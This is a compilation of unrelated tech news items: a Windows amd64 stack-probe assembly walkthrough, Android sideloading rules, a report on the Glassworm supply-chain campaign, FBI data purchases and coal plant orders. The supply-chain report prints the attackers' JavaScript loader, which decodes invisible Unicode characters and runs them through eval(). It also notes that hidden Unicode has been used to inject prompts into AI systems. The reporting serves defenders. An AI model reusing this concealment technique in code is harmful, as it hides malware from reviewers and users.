Our survey of stack limit checking reaches the modern day with amd64, also known as x86-64. This time, there are two versions of the function, one for user mode and one for kernel mode. We’ll look at the user mode version.

Actually, there are two user mode versions. One is in msvcrt, the legacy runtime.

; on entry, rax is the number of bytes to allocate
; on exit, stack has been validated (but not adjusted)

chkstk:
    sub     rsp, 16
    mov     [rsp], r10          ; save temporary register
    mov     [rsp][8], r11       ; save temporary register

    xor     r11, r11            ; r11 = 0
    lea     r10, [rsp][16][8]   ; r10 = caller's rsp
    sub     r10, rax            ; r10 = desired new stack pointer
    cmovb   r10, r11            ; clamp underflow to zero

    mov     r11, gs:[StackLimit]; user mode stack limit

    cmp     r10, r11            ; are we inside the limit?
    jae     done                ; Y: nothing to do

    and     r10w, #-PAGE_SIZE   ; round down to page start

probe:
    lea     r11, [r11][-PAGE_SIZE]  ; move to previous page
    test    [r11], r11b         ; probe it
    cmp     r10, r11            ; finished probing?
    jb      probe               ; N: keep going

done:
    mov     r10, [rsp]          ; restore temporary register
    mov     r11, [rsp][8]       ; restore temporary register
    add     rsp, 16             ; clean up stack
    ret

Bonus reading: Windows is not a Microsoft Visual C/C++ Run-Time delivery channel.

The other is in ucrtbase, the so-called universal runtime. That one is identical except that the probing is done by writing rather than reading.

    mov     byte ptr [r11], 0   ; probe it

In both cases, the function ensures that the stack has expanded the necessary amount but leaves it the caller’s responsibility to adjust the stack after the call returns. This design preserves compliance with shadow stacks (which Intel calls Control-Flow Enforcement Technology, or CET).

A typical usage might go like this:

    mov     eax, #17328         ; desired stack frame size (zero-extended)
    call    chkstk              ; validate that there is enough stack
    sub     rsp, rax            ; allocate it

Next time, we’ll wrap up the series with a look at AArch64, also known as arm64.

The post Windows stack limit checking retrospective: amd64, also known as x86-64 appeared first on The Old New Thing.

Google has detailed how users will be able to sideload apps from unverified developers once it implements its more restrictive policy towards downloading software on Android. The company originally planned to require all developers to be "verified" to distribute on Android, but softened its stance in November 2025 to allow carveouts for Android power-users and hobbyist developers.

For the average Android users, the ability to sideload apps will now be locked behind a multi-step one-time process. Users will first have to enable developer mode in settings, confirm they're not being coached into disabling security, restart their phone (to cut off any phone calls), then wait a day and confirm their identity with biometric authentication or a pin before installing any apps. Google says you can enable the ability to install apps from unverified developers for seven days or indefinitely, but regardless of what you'll choose, you'll still have to dismiss a warning telling you the app you're installing is from an unverified developer.

For hobbyist developers or students who want people to try their app but don't want to create a verified developer account, Google also plans to offer free "limited distributions accounts" that let you share apps without being verified. These accounts will let you share apps with up to 20 devices without having "to provide a government-issued ID or pay a registration fee."

Google is implementing its new verification process in the name of security, and has likened the requirements being asked of developers to "an ID check at the airport, which confirms a traveler's identity but is separate from the security screening of their bags." Neither the verification nor this new approach to sideloading entirely closes off getting apps from unverified developers onto your Android device, they just make it harder to download something dangerous directly from the internet onto your phone. 

Google appears to be trying to split the difference on Android, tightening up what apps can be distributed via verification, while cutting its own Play Store fees and changing its stance towards third-party app stores. Requiring verification to distribute software extends Google's influence outside of its own apps and app store, which is why some developers and digital rights organizations have publicly pushed back on the company's plan. 

Developers can sign-up for early access to the developer verification process now. Google says its new workflow for enabling sideloading and small distributions of apps will go live in August.

Correction, March 19, 2026, 3:44PM ET: The headline has been change to clarify that the new procedure does not apply to all app sideloading.

This article originally appeared on Engadget at https://www.engadget.com/apps/android-will-hide-app-sideloading-behind-a-new-one-time-security-process-184651171.html?src=rss

Researchers say they’ve discovered a supply-chain attack flooding repositories with malicious packages that contain invisible code, a technique that’s flummoxing traditional defenses designed to detect such threats.

The researchers, from firm Aikido Security, said Friday that they found 151 malicious packages that were uploaded to GitHub from March 3 to March 9. Such supply-chain attacks have been common for nearly a decade. They usually work by uploading malicious packages with code and names that closely resemble those of widely used code libraries, with the objective of tricking developers into mistakenly incorporating the former into their software. In some cases, these malicious packages are downloaded thousands of times.

Defenses see nothing. Decoders see executable code

The packages Aikido found this month have adopted a newer technique: selective use of code that isn’t visible when loaded into virtually all editors, terminals, and code review interfaces. While most of the code appears in normal, readable form, malicious functions and payloads—the usual telltale signs of malice—are rendered in unicode characters that are invisible to the human eye. The tactic, which Aikido said it first spotted last year, makes manual code reviews and other traditional defenses nearly useless. Other repositories hit in these attacks include NPM and Open VSX.

The malicious packages are even harder to detect because of the high quality of their visible portions.

“The malicious injections don't arrive in obviously suspicious commits,” Aikido researchers wrote. “The surrounding changes are realistic: documentation tweaks, version bumps, small refactors, and bug fixes that are stylistically consistent with each target project.”

The researchers suspect that Glassworm—the name they assigned to the attack group—is using LLMs to generate these convincingly legitimate-appearing packages. “At the scale we're now seeing, manual crafting of 151+ bespoke code changes across different codebases simply isn't feasible,” they explained. Fellow security firm Koi, which has also been tracking the same group, said it, too, suspects the group is using AI.

The invisible code is rendered with Private Use Areas (sometimes called Private Use Access), which are ranges in the Unicode specification for special characters reserved for private use in defining emojis, flags, and other symbols. The code points represent every letter of the US alphabet when fed to computers, but their output is completely invisible to humans. People reviewing code or using static analysis tools see only whitespace or blank lines. To a JavaScript interpreter, the code points translate into executable code.

The invisible Unicode characters were devised decades ago and then largely forgotten. That is, until 2024, when hackers began using the characters to conceal malicious prompts fed to AI engines. While the text was invisible to humans and text scanners, LLMs had little trouble reading them and following the malicious instructions they conveyed. AI engines have since devised guardrails that are designed to restrict usage of the characters, but such defenses are periodically overridden.

Since then, the Unicode technique has been used in more traditional malware attacks. In one of the packages Aikido analyzed in Friday’s post, the attackers encoded a malicious payload using the invisible characters. Inspection of the code shows nothing. During the JavaScript runtime, however, a small decoder extracts the real bytes and passes them to the eval() function.

const s = v => [...v].map(w => (
  w = w.codePointAt(0),
  w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
  w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null
)).filter(n => n !== null);


eval(Buffer.from(s(``)).toString('utf-8'));

“The backtick string passed to s() looks empty in every viewer, but it's packed with invisible characters that, once decoded, produce a full malicious payload,” Aikido explained. “In past incidents, that decoded payload fetched and executed a second-stage script using Solana as a delivery channel, capable of stealing tokens, credentials, and secrets.”

Since finding the new round of packages on GitHub, the researchers have found similar ones on npm and the VS Code marketplace. Aikido said the 151 packages detected are likely a small fraction spread across the campaign because many have been deleted since first being uploaded.

The best way to protect against the scourge of supply-chain attacks is to carefully inspect packages and their dependencies before incorporating them into projects. This includes scrutinizing package names and searching for typos. If suspicions about LLM use are correct, malicious packages may increasingly appear to be legitimate, particularly when invisible unicode characters are encoding malicious payloads.

Read full article

Comments

An anonymous reader quotes a report from TechCrunch: The FBI has resumed purchasing reams of Americans' data and location histories to aid federal investigations, the agency's director, Kash Patel, testified to lawmakers on Wednesday. This is the first time since 2023 that the FBI has confirmed it was buying access to people's data collected from data brokers, who source much of their information -- including location data -- from ordinary consumer phone apps and games, per Politico. At the time, then-FBI director Christopher Wray told senators that the agency had bought access to people's location data in the past but that it was not actively purchasing it. When asked by U.S. Senator Ron Wyden, Democrat of Oregon, if the FBI would commit to not buying Americans' location data, Patel said that the agency "uses all tools ... to do our mission." "We do purchase commercially available information that is consistent with the Constitution and the laws under the Electronic Communications Privacy Act -- and it has led to some valuable intelligence for us," Patel testified Wednesday. Wyden said buying information on Americans without obtaining a warrant was an "outrageous end-run around the Fourth Amendment," referring to the constitutional law that protects people in America from device searches and data seizures.

Read more of this story at Slashdot.

In the US, the economics of coal power generation are marginal at best, and a large number of coal plants have shut down as cheaper renewables and natural gas have surged. The Trump administration has used a number of methods to swim against this economic tide, the simplest of which has been to order plants scheduled for closure to remain operational.

The Department of Energy has used the Federal Power Act and a Trump executive order declaring an energy emergency to block the closure of coal plants nationwide. The orders requiring plants to stay open have been accompanied by a steady stream of triumphal press releases, suggesting that the Department of Energy was taking the step solely to ensure grid reliability.

The latest of these releases, issued on Monday, pertains to a plant in Centralia, Washington, that was scheduled to close last year to be converted into natural gas generation. A Department of Energy emergency order had kept it operational over the winter, but that order was set to expire yesterday. With yesterday's new order, the plant will remain operational through mid-June. According to the press release, the action was taken "to ensure Americans in the Northwestern region of the United States have access to affordable, reliable, and secure electricity."

In response, the Environmental Defense Fund checked the generating stats for the area served by the TransAlta Centralia Coal Plant, which is the last remaining coal plant on its segment of the grid. According to Energy Information Administration data, coal contributed just 8 megawatt-hours in January and February, an amount of energy the solar panels on my house can produce in roughly eight months. This, the EDF said, is consistent with the plant simply maintaining the capacity to come back online.

This doesn't rule out the possibility that the plant could have helped stabilize the local grid if there had been an unexpected surge in demand, as the Department of Energy contends. It's consistent, however, with normal grid planning, which would evaluate the likely growth of demand and ensure there are sufficient generating sources before closing a plant. In short, the plant appears to be behaving as would be expected if the local grid operators had been competent when they decided to close it.

In any case, it is clear that local ratepayers are paying for the privilege of maintaining a plant that does not appear to be needed.

Apparently, this issue has attracted the attention of Democratic lawmakers. On Wednesday, 120 members of the House introduced a bill to reverse the Trump administration's attack on renewable energy. That bill includes a section, "Ratepayer Protection Against Uneconomic Power Generation," that would specifically modify the text of the Federal Power Act to make it far more difficult to declare the sort of "emergency" that the Department of Energy is currently relying on.

The bill has many additional provisions that will prove unpopular with Republicans and therefore has no chance of passing. But it's being called "The Energy Bills Relief Act," which suggests that the Democrats intend to use any Republican votes against it as part of their campaign for control of Congress in the fall.

Read full article

Comments

During a Senate hearing, FBI Director Kash Patel confirmed that his agency has bought information that could be used to track individuals' movement and location. "We do purchase commercially available information that’s consistent with the Constitution and the laws under the Electronic Communications Privacy Act, and it has led to some valuable intelligence for us," he said. 

Law enforcement is required to obtain a warrant in order to get location data from cell service providers following the Carpenter v United States ruling from 2018. But why bother with all that hassle when they can just buy the information from the open market?

"Doing that without a warrant is an outrageous end run around the Fourth Amendment, it’s particularly dangerous given the use of artificial intelligence to comb through massive amounts of private information," Sen. Ron Wyden, (D-Ore.) said during the Intelligence Committee hearing. Wyden is one of several lawmakers pushing for an overhaul of when and how the government can obtain citizens' personal information. 

It's an overhaul that's badly needed. Patel already has a history of dubious use of government resources, such as ordering SWAT protections for his girlfriend and somehow horning in on men's hockey victory celebrations at the recent winter Olympics, so one would hope he's not also stretching the limits of the few privacy protections that do exist. Then outside the FBI, we have the Department of Homeland Security being sued for illegally tracking immigration raid protestors and the Pentagon's labeling of Anthropic as a supply-chain risk after the AI company refused to let its products be used for mass surveillance of Americans.

This article originally appeared on Engadget at https://www.engadget.com/big-tech/the-fbi-confirms-its-buying-americans-location-data-230835196.html?src=rss